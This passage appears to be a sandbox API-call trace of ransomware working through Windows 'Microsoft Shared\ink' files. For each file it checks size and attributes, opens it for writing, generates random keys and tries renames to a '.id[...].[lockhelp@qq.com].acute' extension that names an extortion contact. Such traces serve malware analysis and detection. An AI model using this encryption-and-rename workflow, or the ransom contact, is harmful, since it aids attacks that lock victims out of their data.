shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0272.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.576] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.576] ResetEvent (hEvent=0x2d4) returned 1 [0272.576] SetEvent (hEvent=0x2d8) returned 1 [0272.576] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.577] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=62976) returned 1 [0272.577] CloseHandle (hObject=0x334) returned 1 [0272.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0272.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.577] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.577] ResetEvent (hEvent=0x2d4) returned 1 [0272.577] SetEvent (hEvent=0x2d8) returned 1 [0272.577] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.577] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=197120) returned 1 [0272.577] CloseHandle (hObject=0x334) returned 1 [0272.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0272.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.578] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.578] ResetEvent (hEvent=0x2d4) returned 1 [0272.578] SetEvent (hEvent=0x2d8) returned 1 [0272.578] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.579] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=224256) returned 1 [0272.579] CloseHandle (hObject=0x334) returned 1 [0272.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0272.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.579] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.580] ResetEvent (hEvent=0x2d4) returned 1 [0272.580] SetEvent (hEvent=0x2d8) returned 1 [0272.581] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.581] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=222208) returned 1 [0272.581] CloseHandle (hObject=0x334) returned 1 [0272.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0272.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.581] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.582] ResetEvent (hEvent=0x2d4) returned 1 [0272.582] SetEvent (hEvent=0x2d8) returned 1 [0272.582] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.582] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=194048) returned 1 [0272.583] CloseHandle (hObject=0x334) returned 1 [0272.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0272.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.583] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.586] ResetEvent (hEvent=0x2d4) returned 1 [0272.586] SetEvent (hEvent=0x2d8) returned 1 [0272.586] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.586] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1600388) returned 1 [0272.586] CloseHandle (hObject=0x32c) returned 1 [0272.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0272.586] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.586] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0272.587] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.589] ResetEvent (hEvent=0x2d4) returned 1 [0272.589] SetEvent (hEvent=0x2d8) returned 1 [0272.590] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.591] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1434) returned 1 [0272.591] CloseHandle (hObject=0x338) returned 1 [0272.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0272.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.591] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.591] ResetEvent (hEvent=0x2d4) returned 1 [0272.591] SetEvent (hEvent=0x2d8) returned 1 [0272.592] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.592] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=212) returned 1 [0272.592] CloseHandle (hObject=0x334) returned 1 [0272.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0272.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.593] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.593] ResetEvent (hEvent=0x2d4) returned 1 [0272.593] SetEvent (hEvent=0x2d8) returned 1 [0272.593] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.593] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=384) returned 1 [0272.593] CloseHandle (hObject=0x338) returned 1 [0272.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0272.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.594] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.594] ResetEvent (hEvent=0x2d4) returned 1 [0272.594] SetEvent (hEvent=0x2d8) returned 1 [0272.594] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.595] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1118) returned 1 [0272.595] CloseHandle (hObject=0x338) returned 1 [0272.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0272.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.595] ResetEvent (hEvent=0x2d4) returned 1 [0272.595] SetEvent (hEvent=0x2d8) returned 1 [0272.595] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.595] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=392) returned 1 [0272.595] CloseHandle (hObject=0x338) returned 1 [0272.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0272.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.596] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.596] ResetEvent (hEvent=0x2d4) returned 1 [0272.596] SetEvent (hEvent=0x2d8) returned 1 [0272.596] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.597] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=727) returned 1 [0272.597] CloseHandle (hObject=0x334) returned 1 [0272.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0272.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.597] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.599] ResetEvent (hEvent=0x2d4) returned 1 [0272.599] SetEvent (hEvent=0x2d8) returned 1 [0272.599] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.600] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3150) returned 1 [0272.600] CloseHandle (hObject=0x338) returned 1 [0272.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0272.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.600] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.600] ResetEvent (hEvent=0x2d4) returned 1 [0272.600] SetEvent (hEvent=0x2d8) returned 1 [0272.600] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.601] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=247) returned 1 [0272.601] CloseHandle (hObject=0x338) returned 1 [0272.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0272.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.601] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.602] ResetEvent (hEvent=0x2d4) returned 1 [0272.602] SetEvent (hEvent=0x2d8) returned 1 [0272.602] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft 